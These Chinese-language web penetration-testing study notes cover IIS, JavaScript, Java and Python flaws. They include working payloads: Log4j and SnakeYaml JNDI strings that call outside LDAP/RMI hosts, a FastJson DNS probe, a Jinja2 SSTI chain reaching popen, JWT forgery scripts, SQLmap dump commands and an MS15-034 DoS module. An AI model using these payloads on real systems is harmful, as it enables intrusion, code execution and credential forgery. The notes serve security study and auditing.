语言安全
ASP
1. MDB 数据库泄漏下载
大部分 ASP 程序与 ACCESS 数据库搭配,ACCESS 无需额外配置,直接在脚本中定义数据库路径即可使用。问题根源:预设的数据库路径通常未被修改,当攻击者知道完整路径时,可直接远程下载数据库文件并解密其中数据。
2. IIS 中间件漏洞
2.1 HTTP.sys 远程代码执行(CVE-2015-1635)
漏洞描述:HTTP 协议堆栈(HTTP.sys)未正确解析经特殊构造的 HTTP 请求,成功利用可在系统账户上下文中执行任意代码。
影响版本:安装了 IIS 6.0 及以上的 Windows 7、Server 2008 R2、Windows 8、Server 2012、Windows 8.1、Server 2012 R2
验证方法:
curl targetIP -H "Host: targetIP" -H "Range: bytes=0-18446744073709551615"
返回 416 状态码则存在漏洞。
MSF 利用:
msfconsole
use auxiliary/dos/http/ms15_034_ulonglongadd
set rhosts <target_ip>
set rport <port>
run
2.2 IIS 短文件名信息泄露
漏洞原理:HTTP 请求中旧 DOS 8.3 命名约定(SFN)的波浪号(~)字符引起。Windows 为兼容 16 位 MS-DOS 程序,会为长文件名生成对应的 8.3 短文件名(可用 dir /x 查看),攻击者可通过枚举波浪号路径探测 Web 根目录下的文件和文件夹名称。
应用场景:后台路径获取、数据库文件获取、其他敏感文件获取。
利用工具:
2.3 IIS 文件解析漏洞
IIS 6:
*.asp;.jpg格式的文件名会被当作 ASP 解析*.asp/目录下的所有文件会被当作 ASP 解析- 示例:
logo.asp;.jpg、xx.asp/logo.jpg
IIS 7.x:
- 在文件路径后追加
/xx.php,如/xx.jpg/xx.php,会将该路径解析为 PHP 文件 - 应用场景:配合文件上传获取 Webshell
2.4 IIS 写权限漏洞
条件:IIS ≤ 6.0,目录权限开启写入,且开启 WebDAV 并设置为允许。
3. ACCESS 数据库 SQL 注入
ACCESS 数据库无管理账号密码,数据层级为:表名 → 列名(字段)→ 数据。
注入时一般采用字典猜解表名和列名再获取数据,猜解简单但存在猜不到的风险。实战中直接使用 SQLmap:
python sqlmap.py -u "<url>" --tables # 获取表名
python sqlmap.py -u "<url>" --columns -T admin # 获取 admin 表的列名
python sqlmap.py -u "<url>" --dump -C "<col>" -T admin # 获取指定列数据
JS
前置知识
作用域(本地 & 全局)
运行后相关的数据值,分为本地作用域和全局作用域。
调用堆栈(由下到上)
代码的执行逻辑顺序,从栈底到栈顶依次执行。

常见分析调试方法
| 方法 | 说明 |
|---|---|
| 代码全局搜索 | 对可能的功能性命名函数名进行分析 |
| 文件流程断点 | 在网络→发起程序的调用堆栈中分析、打断点 |
| 代码标签断点 | 对相关功能处"检查"后打断点,断点范围:登录到数据获取之间 |
| XHR 提交断点 | 在传输文件中找类型为 xhr 的可疑功能性地址,在源代码选项的 XHR 断点处添加,断点范围:发送数据到服务器之间 |
注:fetch 类型同样适用,fetch 和 XHR 都基于 JavaScript 执行网络请求,底层机制类似,调试工具会统一处理。
JS 安全测试目的
- 密码登录的枚举爆破
- 参数提交漏洞检测
- 泄漏 URL 挖掘与扩展测试
1. JS 逆向 - 登录算法分析
1.1 流程断点 & 全局搜索
- 流程断点:审查元素 → 抓网络请求包 → 发起程序 → 调用堆栈中逐层分析
- 全局搜索:通过抓包获得的参数名,在源代码中进行全局搜索定位加密函数
1.2 标签断点 & XHR 断点
- 标签断点:审查元素 → 找到对应登录按钮标签 → 右键加入断点
- XHR 断点:审查元素 → 源代码选项 → 添加 XHR 断点配置
2. JS 逆向 - 结合 BurpSuite 插件爆破
适用场景:登录参数存在加密(如 RSA、AES),需还原加密算法后配合 Burp 进行爆破。
操作步骤
-
下载 phantomjs 并配置环境变量
-
BurpSuite 加载 jsEncrypter 插件
-
逆向提取目标站点的加密算法,保存为 JS 文件并放置到 jsEncrypter 插件目录下
-
补全模板文件
phantomjs_server.js(引用 JS 文件并调用加密函数):
-
运行模板文件后在插件中测试连通性:
注:须先在命令行执行
phantomjs .\phantomjs_server.js显示 successful,再去 BP 插件中测试连通性
-
Intruder 正常设置发包后,Payload 处选择引用 jsEncrypter 插件,正常爆破即可

3. JS 逆向 - 反调试检测 & 绕过
反调试实现原理
反调试的目的是防止他人对代码进行调试和动态分析,常见实现方式:
- 键盘监听(F12)
- 检测浏览器窗口的高度插值
- 检测开发者工具变量是否为 true
- 利用
console.log调用次数检测 - 利用代码运行时间差检测
- 利用
toString检测 - 检测非浏览器环境
常见绕过方法
通用技巧:无法打开调试页面时,可先打开新标签页并开启开发者工具,再导航到目标网页。
① 禁用断点法
在 Sources 面板中禁用所有断点,只能查看源码,无法断点调试。
② 条件断点法
选中 debugger 语句 → 右键添加条件断点 → 将条件设置为 false,使该断点永不触发。
③ 此处暂停法
右键断点处 → 选择"一律不在此处暂停",跳过该断点执行。
④ 置空函数法
在控制台中找到反调试函数,将其覆盖为空函数:
debugger = function x() {
return null;
}
⑤ 本地覆盖法
导出源文件 → 删除反调试相关代码 → 利用 DevTools 的本地覆盖(Local Overrides)功能替换原文件。
4. JS 逆向 - 代码混淆识别 & 还原
代码混淆在反调试基础上进一步防止他人分析代码逻辑,使反调试功能难以被定位删除。
| 类型 | 工具/资源 |
|---|---|
| 开源混淆 | JJEncode、AAEncode、JSFuck |
| 在线解析 | sojson.com |
| 商业加密 | jsjiami.com |
| 商业解密 | jsdec.js.org |
5. JS 安全案例
核心逻辑:JS 中存在可控变量及函数调用时,即可导致参数漏洞。
JS 应用与 PHP/Java 的核心区别:JS 代码可直接通过浏览器查看,相当于对 JS 开发的 Web 应用做白盒测试,攻击面更广。
主要安全测试方向
| 方向 | 说明 |
|---|---|
| 扩大攻击面 | 从 JS 中提取更多 URL、接口,分析调试代码逻辑 |
| 敏感信息泄露 | 用户密码、AK/SK、Token/Session 等 |
| 潜在危险函数 | eval、dangerouslySetInnerHTML 等 |
| 开发框架漏洞 | 寻找 Vue、NodeJS、Angular 等框架的历史漏洞 |
常用工具
- Webpack 打包器扫描:PackerFuzzer
- AK/SK 云安全利用:狐狸工具箱
- 浏览器插件(前期 JS 信息收集):Pentestkit、FindSomething、Wappalyzer
Java
1. SQL 注入
1.1 JDBC
JDBC 有三种操作数据库的方式,均可能引发注入:
① Statement:直接拼接 SQL 语句,最危险。
② PreparedStatement:本身会对 SQL 进行预编译,但若仍以字符串拼接方式构造 SQL,预编译则形同虚设。
③ JDBCTemplate:Spring 对 JDBC 的封装,同样在使用拼接语句时产生注入。
安全写法:预编译中使用占位符
?+PreparedStatement白盒审计要点:直接看数据库语句写法,凡出现直接拼接而非占位符的,均存在注入风险。
1.2 MyBatis
MyBatis 支持两种参数符号:
#{}:使用预编译,安全${}:直接拼接 SQL,存在注入风险
三种常见的必须用 $ 导致注入的场景:
① order by 注入
#{} 会将字段名转为字符串(如 order by "user" desc)导致报错,开发者为解决报错改用 ${},从而引入注入。
② like 注入
模糊搜索时 %#{q}% 会报错,部分开发图方便直接改为 %${q}%,导致注入。
③ in 注入
in (#{ids}) 多个 id 查询时报错,改为 (${ids}) 后不报错,但引入注入。
开发修复方法:先用
$传入,再用#过滤处理。白盒审计方法:全局搜索
${,重点关注其是否出现在order by、like、in语句中,出现即为高危;#{}可直接跳过。
2. XXE 注入
漏洞原理:开发者配置 XML 解析时允许外部实体引用,攻击者可利用此实施任意文件读取、内网端口探测、命令执行、拒绝服务等攻击。
白盒审计关键函数:
SAXParser、XMLReader、SAXReader、SAXBuilder、Unmarshaller、DocumentBuilder
3. SSTI 服务端模板注入(Thymeleaf)
漏洞原理:服务端接收用户输入并将其作为模板内容的一部分,在编译渲染过程中执行了用户插入的恶意内容。
核心结论:问题在于模板变量是否可控——变量固定则安全,变量可被用户输入控制则存在注入。
两种典型场景:
- URL 作视图:将用户可控的路径参数直接作为模板视图名返回
- Velocity / Thymeleaf:模板中直接引用了用户可控变量
白盒:审计是否使用模板引擎,用的什么类型,变量是否可控,有无过滤防御。
黑盒:信息收集识别框架,实操性较低。
参考:其他语言 SSTI
4. SpEL 表达式注入(SpringBoot)
漏洞原理:SpEL(Spring Expression Language)是一种功能强大的表达式语言,用于在运行时查询和操作对象图。若参数未做过滤,可造成任意命令执行,类似 PHP 的 eval。
白盒审计关键类/方法:
SpelExpressionParser、getValue
注意两种利用方式:
- 直接注入:参数可控时直接构造 SpEL 表达式
- 反射绕过:常规注入被过滤拦截时,通过反射方式绕过过滤器
5. RCE 远程代码执行
五大执行类:
RuntimeExec、LoadJsExec、GroovyExec、ProcessImpl、ProcessBuilder
| 测试方式 | 思路 |
|---|---|
| 黑盒 | 观察参数名和参数值是否有明显命令执行特征(实际较难) |
| 白盒 | 全局搜索上述类函数名,追踪其参数是否可控 |
6. JNDI 注入
基础概念:
- JNDI(Java Naming and Directory Interface):Java 命名和目录接口,为开发人员提供统一的资源查找接口,支持 DNS、LDAP、CORBA、RMI 等服务。
- RMI:远程方法调用注册表
- LDAP:轻量级目录访问协议
漏洞原理:Java 提供 Naming Reference 功能,允许对象通过绑定 Reference 存储在命名/目录服务中。若 InitialContext.lookup() 的参数可被用户控制,攻击者可传入恶意 RMI/LDAP 地址,使服务器主动请求并加载攻击者控制的远程类,触发 RCE。
RMI 服务中存在风险的类:
org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)
LDAP 服务中存在风险的类:
InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()
注:JNDI 本身不是漏洞,而是漏洞利用阶段的手段。
黑盒:无明确思路。
白盒:全局搜索
lookup(),追踪参数是否可控。
7. 五大不安全组件
7.1 Log4j
简介:Apache 开源的基于 Java 的日志记录框架。
漏洞原理:Log4j 在处理日志时会解析形如 ${variable} 的内容。攻击者通过构造恶意日志数据(如 ${jndi:ldap://攻击者服务器/恶意类}),触发 Log4j 默认启用的 JNDI Lookup 功能,诱使应用从远程服务器加载并执行恶意 Java 类,最终实现 RCE。
黑盒测试:由于不知道目标会记录哪些字段,任何有数据提交的地方都应测试。因为无回显,使用 DNSLog 进行带外验证,或使用 YAKIT 工具。
7.2 Shiro
简介:Java 安全框架,用于身份验证、授权、加密和会话管理。
漏洞原理(Shiro-550 / CVE-2016-4437):Shiro 的 RememberMe 功能使用 AES 加密序列化数据存储身份凭证,但默认密钥硬编码(如 kPH+bIxk5D2deZiIxcaaaA==)。攻击者用已知密钥加密恶意序列化对象伪造 Cookie,Shiro 解密反序列化时触发利用链(如 CommonsBeanutils/CommonsCollections),实现 RCE。
两个主要版本的利用差异:
- Shiro-550:使用默认硬编码密钥,无需登录即可利用
- Shiro-721:密钥随机生成,可尝试用登录成功后的合法 Cookie 反向爆破密钥
黑盒识别:Cookie 或负载中是否存在 rememberMe 参数(强特征),将其值改为 1 后若响应包返回 rememberMe=deleteMe 字段,可确认存在 Shiro 框架。
7.3 Jackson
简介:主流 JSON 序列化/反序列化库。
漏洞原理(CVE-2017-7525):启用 enableDefaultTyping 或使用 @JsonTypeInfo 注解时,攻击者通过 JSON 中的 @class 字段指定任意类名,Jackson 反序列化时动态加载并实例化该类。若指向危险类(如 FileSystemXmlApplicationContext),可触发调用链导致 RCE 或文件读写。
黑盒测试:无明确特征,凡数据包中使用 JSON 格式传参均可尝试测试。
7.4 FastJson
简介:阿里巴巴开源的 JSON 解析器,支持 JavaBean 与 JSON 字符串的互相转换。
漏洞原理(CVE-2017-18349):特定版本默认开启 autoType 机制,攻击者构造含恶意类名(@type 字段)的 JSON 数据,解析时自动实例化并执行该类的构造方法/setter/getter。若类路径存在危险类(如 TemplatesImpl),可利用链式调用加载字节码实现 RCE。
黑盒识别:通常无明显特征,但可构造一个错误的 POST 请求,观察响应包中是否出现 fastjson 字样。
7.5 XStream
简介:开源 Java 类库,用于对象与 XML 的互相序列化/反序列化。
漏洞原理(CVE-2021-39144):XStream 默认允许还原任意类型对象,攻击者通过 XML 标签指定 Java 核心库中的危险类(如 java.beans.EventHandler),利用其内部隐式调用链执行反射操作,无需复杂链构造即可触发任意代码执行。
黑盒测试:无明确特征,凡数据包中使用 XML 格式传参均可尝试测试。
7.6 白盒审计不安全组件
FastJson 审计步骤:
- 查看引用组件版本及关键函数:
JSON.parse或JSON.parseObject - 追踪可控变量及访问路径
- 构造 DNS 出网测试验证漏洞:
{"@type":"java.net.Inet4Address","val":"xxxx.dnstunnel.run"}
Log4j 审计步骤:
- 查看引用组件版本及关键函数:
logger.info或logger.error - 追踪可控变量及访问路径(如文件上传接口中的
originalFileName) - 构造 JNDI 出网测试验证漏洞:
${jndi:ldap://xxxx.dnstunnel.run}
${jndi:rmi://47.94.236.117:1099/l6v1wz}
7.7 通用技巧
无回显时的常见解决方法:
- 将执行结果写入静态资源文件(如 HTML、js),再访问该文件读取结果
- 通过 DNSLog 进行数据外带(需目标能发起 DNS 请求)
- 将命令执行结果回显到请求 PoC 的 HTTP 响应中
Webshell 不出网时的解决方法:
- 上传 reGeorg,使用 SOCKS 正向代理,配合 Proxifier 实现远控
- 检测出网协议(DNS、ICMP 等),利用可出网的协议进行隧道传输
- 不出网各种姿势参考
8. 反序列化 - 原生序列化类函数
Java 序列化特征:序列化数据以 ac ed 00 05 开头,Base64 编码后特征为 rO0AB。
漏洞发现:
- 黑盒:捕获流量,观察是否存在上述特征标记
- 白盒:全局搜索下列关键类/函数
8.1 SnakeYaml
完整的 YAML 1.1 规范处理器,支持 Java 对象的序列化/反序列化,使用 load() 函数时触发漏洞。
Payload 示例:
!!com.sun.rowset.JdbcRowSetImpl{dataSourceName: 'rmi://192.168.120.1:1099/xxxxx', autoCommit: true}
8.2 XMLDecoder
XML 格式序列化类函数接口,使用 readObject() 函数时触发漏洞。实际测试时直接执行 payload,在其中修改命令内容即可。
8.3 ObjectInputStream.readObject
任何类若想支持序列化/反序列化,必须实现 java.io.Serializable 接口。ObjectInputStream 使用 readObject() 函数进行反序列化时触发漏洞。
利用工具(均基于 ysoserial 实现):
- Yakit
- SerializedPayloadGenerator
- ysoserial(核心 jar 包)
注:使用什么利用链生成 payload,取决于代码审计结果——看目标项目引入了哪些库,若存在满足条件的依赖库,则可尝试对应链生成 payload 进行 RCE 测试。不知道版本时可尝试通用链,但成功率不保证。
9. SpringBoot 框架 & Actuator 模块
Actuator 简介:SpringBoot 提供的生产级监控模块,包含健康检查、审计、指标收集、HTTP 跟踪等功能。配置不当时导致信息泄露乃至 RCE。
9.1 漏洞发现
黑盒识别:
-
页面特征:
body="Whitelabel Error Page"
-
图标 Hash:
icon_hash="116323821"

- BP 插件:APIKit
白盒识别:查看 pom.xml 是否引入 Actuator 依赖:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
同时检查配置文件是否存在全量暴露端点的不安全配置:
management.endpoints.web.exposure.include=*
该配置会暴露所有管理端点(health、info、env、metrics、beans、mappings 等),导致敏感信息泄露。
9.2 泄漏利用(配置、密码、AK/SK 等)
- 自动提取 heapdump 文件关键内容:JDumpSpider
- 全量读取后关键字查询:heapdump_tool
9.3 漏洞利用(CVE 漏洞等)
- 自动扫描利用:SpringBoot-Scan
- 手工审计利用:SpringBootVulExploit 配合 JNDIExploit 使用
注:上述工具并非直接利用 SpringBoot 漏洞,而是通过信息泄露/审计发现目标使用了存在漏洞的组件类,进而利用。
10. Druid 监控 - 未授权访问 & 信息泄露
实战少见
简介:阿里巴巴出品的数据库连接池,提供 SQL 执行监控、Web URI 请求监控、Session 监控等功能。配置不当时导致未授权访问。
黑盒测试
-
直接拼接路径
/druid/index.html,尝试未授权访问
-
结合泄露的 URL 路径和 Session 信息,用 BurpSuite 尝试登录
-
利用 Cookie 编辑器替换 Session,尝试直接进入后台
白盒审计
在配置文件中搜索 druid,查看是否配置了登录验证:
11. Swagger 接口 - 导入 & 联动批量测试
简介:用于生成、描述和调用 RESTful 接口的 Web 服务,默认地址为 /swagger-ui.html,将项目接口全部展示并支持在线调用。
测试目的:对暴露的接口进行漏洞测试(未授权访问、SQL 注入、文件上传等)。由于接口数量庞大,通常采用自动化测试方案。

自动化发包测试:Postman 导入 Swagger JSON 后批量发包
自动化漏洞测试:Postman 联动 BurpSuite + xray 进行被动扫描
黑盒发现:直接拼接 /swagger-ui.html 路径尝试访问
白盒审计:全局搜索 swagger 关键字

12. JWT 令牌安全
简介:JSON Web Token,遵循 JSON 格式,将用户信息加密到 Token 中。服务器不保存用户信息,只保存密钥,通过特定加密算法验证 Token 身份,可替代传统 Cookie + Session 方案。
漏洞危害:身份伪造、越权访问
12.1 JWT 结构
识别特征:头部和 Payload 均以 eyJ 开头,三段数据以 . 分隔。
| 部分 | 说明 |
|---|---|
| Header(标头) | 声明签名算法(如 HS256、RS256)及其他可选参数(kid、jku、x5u 等)。HS 为对称加密,RS 为非对称加密 |
| Payload(载荷) | 存储用户信息(id、用户名、角色等)及标准声明字段(iss、sub、exp、iat 等) |
| Signature(签名) | 对 Header 和 Payload 做 Base64 编码后拼接,使用 Header 中声明的算法加盐签名 |
常用 Payload 字段:
| 字段 | 含义 |
|---|---|
| iss | JWT 签发者 |
| sub | JWT 面向的用户 |
| aud | JWT 的接收方 |
| exp | 过期时间(时间戳) |
| iat | 签发时间(时间戳) |
| jti | JWT 唯一标识,用于防重放攻击 |
在线解析:jwt.io | BP 插件:Hae 或 JSON Web Tokens
12.2 JWT 攻击方式
① 加密算法置空(alg=none)
将 Header 中 alg 字段改为 None,签名置空,服务端若未验证算法类型,任意 Token 均有效。
② 未校验签名
某些服务端不校验签名,可尝试修改 Payload 后直接发包,或直接删除 Signature 部分后重放请求。
③ 暴力破解密钥
针对对称加密算法(HS256 等)。若密钥强度不足,可通过字典爆破获取密钥,进而用该密钥重新签发任意 Payload 的 Token。RS256 等非对称算法此方法无效,但可尝试寻找公钥/私钥文件泄露。
④ 其他攻击
参考:源码泄露密钥、Kid 参数注入等。
12.3 JWT 利用工具
jwt_tool:https://github.com/ticarpi/jwt_tool
# 使用 None 算法绕过签名
python3 jwt_tool.py JWT_HERE -X a
# 自定义修改 Payload 重新生成
python3 jwt_tool.py JWT_HERE -T
# 字典爆破密钥
python3 jwt_tool.py JWT_HERE -C -d dictionary.txt
# 指定密码测试
python3 jwt_tool.py JWT_HERE -C -p password_here
CTFshow 靶场练习参考:
| 题目 | 考点 |
|---|---|
| Web345 | None 无签名认证 |
| Web346 | None 算法绕过签名 |
| Web347 | 弱口令密钥获取 |
| Web348 | 爆破密钥 |
| Web349 | 公钥私钥泄露,访问 /private.key /public.key 获取密钥后重新签发 |
| Web350 | 密钥混淆攻击:RS256 → HS256,用公钥作为 HS256 的对称密钥签发 Token |
Web349 利用示例:
import jwt
public = open('private.key', 'r').read()
payload = {"user": "admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))
Web350 利用示例(前提:服务端未限定算法,直接用密钥解密):
var jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('./public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
12.4 黑盒 JWT 测试清单
找到需要 JWT 鉴权才能访问的页面(如个人资料页),将请求包重放并依次测试:
- 未授权访问:删除 Token 后是否仍能正常响应
- 敏感信息泄露:通过 jwt.io 解密 Payload,查看是否包含弱加密密码等敏感信息
- 破解密钥 + 越权访问:通过空加密算法或密钥爆破重新签发 Token,修改 Payload 中的用户标识,观察是否可越权访问其他用户数据
- Token 时效性:解密查看 Payload 中是否有
exp字段,等待过期后再次发包,若仍有效则存在 Token 不过期漏洞 - 页面回显探测:修改 Payload 键值对后观察报错信息是否存在注入,关注
kid字段的目录遍历与 SQL 注入问题
Python
主要在 CTF 和面试中出现,实战较少见
1. SSTI 服务端模板注入(Jinja2)
1.1 基础概念
定义:SSTI(Server Side Template Injection,服务器端模板注入)
原理:服务端接收用户输入,将其作为 Web 应用模板内容的一部分,在编译渲染过程中执行了用户插入的恶意内容。
注意:模板引擎和渲染函数本身没有漏洞,漏洞根源在于模板中的变量可被用户控制,导致代码注入。
影响范围:取决于模板引擎的复杂性。
各语言常见模板引擎:
| 语言 | 模板引擎 |
|---|---|
| PHP | Smarty、Twig |
| Python | Jinja2、Mako、Tornado、Django |
| Java | Thymeleaf、Jade、Velocity、FreeMarker |
其他靶场参考:websitesVulnerableToSSTI
1.2 漏洞形成示例
from flask import Flask, request, render_template_string
from jinja2 import Template
app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name', default='xiaodi')
t = '''
<html>
<h1> Hello %s </h1>
</html>
''' % (name)
# 将用户输入直接作为模板字符串渲染,导致 SSTI
return render_template_string(t)
app.run()
1.3 漏洞发现与利用
步骤 0 - 发现漏洞:在 URL 中拼接 {{2*3}},若页面显示运算结果 6 而非原始字符串,则确认存在 SSTI。
步骤 1 - 枚举可用类:
{{''.__class__.__base__.__subclasses__()}}
步骤 2 - 找到目标类索引:在结果中寻找可利用的类,如:
<class 'os._wrap_close'>
步骤 3 - 查看类的方法:
{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__}}
步骤 4 - 构造利用:
{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('calc').read()}}
其他写法:
{{[].__class__.__base__.__subclasses__()}}
{{[].__class__.__base__.__subclasses__()[133].__init__.__globals__}}
{{[].__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('calc').read()}}
1.4 黑盒自动化利用
1.5 白盒审计
审计源码是否使用相关框架的敏感渲染函数(如 render_template_string),以及是否对用户输入做了过滤。
1.6 Python 魔术方法速查表
| 方法/属性 | 说明 |
|---|---|
__class__ |
返回实例对象所属的类 |
__base__ |
返回类的直接父类 |
__bases__ |
返回类的所有父类(元组形式) |
__mro__ |
方法解析顺序,返回类组成的元组,用于查找基类 |
__subclasses__() |
返回该类所有直接子类的列表 |
__init__ |
类的初始化方法,返回类型为 function |
__globals__ |
获取函数所处空间下可用的 module、方法及所有变量 |
__dict__ |
存放类的静态函数、类函数、普通函数、全局变量及内置属性 |
__getattribute__() |
实例/类/函数进行 . 操作时自动调用,可用于获取属性 |
__getitem__() |
调用字典键值时触发,如 a['b'] 等价于 a.__getitem__('b') |
__builtins__ |
内建命名空间,包含所有内建函数的名称到对象的映射 |
__import__ |
动态导入模块,如 __import__('os').popen('ls').read() |
__str__() |
返回对象的字符串描述 |
url_for |
Flask 方法,可获取 __builtins__,含 current_app |
get_flashed_messages |
Flask 方法,可获取 __builtins__,含 current_app |
lipsum |
Flask 方法,__globals__ 中含 os 模块,如 {{lipsum.__globals__['os'].popen('ls').read()}} |
current_app |
Flask 应用上下文全局变量 |
request |
可用于获取字符串绕过过滤,也可获取 open 函数 |
request.args.x1 |
GET 传参 |
request.values.x1 |
所有参数 |
request.cookies |
Cookie 参数 |
request.headers |
请求头参数 |
request.form.x1 |
POST 传参(application/x-www-form-urlencoded 或 multipart/form-data) |
request.data |
POST 传参(Content-Type: a/b) |
request.json |
POST 传 JSON(Content-Type: application/json) |
config |
当前应用的所有配置,也可用 {{config.__class__.__init__.__globals__['os'].popen('ls').read()}} |
g |
{{g}} 返回 <flask.g of 'flask_ssti'> |
2. PYC 反编译还原源码
pyc 文件:py 文件编译后生成的字节码文件(byte code),经 Python 解释器生成机器码运行,可跨平台部署(类似 Java 的 .class 文件)。py 文件变动后会重新生成对应 pyc 文件。
安装:
pip install uncompyle6
使用:
uncompyle6 -o test.py test.pyc
3. 反序列化 - 调用链 & 魔术方法
3.1 各语言序列化/反序列化函数对比
| 语言 | 常见函数/库 |
|---|---|
| Java | ObjectInputStream.readObject、XMLDecoder.read、fastjson、jackson、gson、Yaml.load、XStream.fromXML 等 |
| PHP | serialize()、unserialize() |
| Python | pickle、marshal、json、PyYAML、shelve、PIL |
- 序列化:把类对象转化为字节流或文件
- 反序列化:将字节流或文件转化为类对象
3.2 Python 常用序列化函数
| 函数 | 说明 |
|---|---|
pickle.dump(obj, file) |
将对象序列化后保存到文件 |
pickle.load(file) |
将文件中的序列化内容反序列化为对象 |
pickle.dumps(obj) |
将对象序列化成字节流字符串 |
pickle.loads(bytes_obj) |
将字节流字符串反序列化为对象 |
PyYAML yaml.load() |
YAML 格式反序列化 |
JSON json.loads(s) |
JSON 格式反序列化 |
marshal |
marshal 模块序列化 |
3.3 触发反序列化的魔术方法
| 方法 | 触发时机 |
|---|---|
__reduce__() |
反序列化时调用 |
__reduce_ex__() |
反序列化时调用 |
__setstate__() |
反序列化时调用(类似 PHP 的 __wakeup) |
__getstate__() |
序列化时调用 |
黑盒识别特征:Python 反序列化数据通常以 Base64 编码呈现,固定前缀为 gA。
测试方法:直接构造 payload 提交测试。
4. 格式化字符串漏洞
Python 有四种格式化字符串方式,其中可控的格式化字符串会引发安全问题:
方式一:% 操作符(安全)
name = 'Bob'
'Hello, %s' % name
# => "Hello, Bob"
方式二:string.Template(安全)
from string import Template
name = 'Bob'
t = Template('Hey, $name!')
t.substitute(name=name)
# => 'Hey, Bob!'
方式三:str.format()(可控时危险)
正常用法:
name = 'Bob'
'Hello, {}'.format(name)
# => 'Hello, Bob'
危险案例:当格式化字符串本身可被用户控制时,可通过魔术方法访问任意对象属性:
config = {'SECRET_KEY': '12345'}
class User(object):
def __init__(self, name):
self.name = name
user = User('joe')
# 若格式化字符串可控,攻击者可构造如下 payload:
'{0.__class__.__init__.__globals__[config]}'.format(user)
# => "{'SECRET_KEY': '12345'}"
方式四:f-string(可控时危险)
正常用法:
a, b = 5, 10
f'Five plus ten is {a + b} and not {2 * (a + b)}.'
# => 'Five plus ten is 15 and not 30.'
危险案例:当 f-string 中的内容来自用户输入时:
# 接收用户传入的 cmd 参数,如传入 whoami
cmd = request.args.get('cmd')
print(f'{__import__("os").system(cmd)}')
# => 执行系统命令

浙公网安备 33010602011771号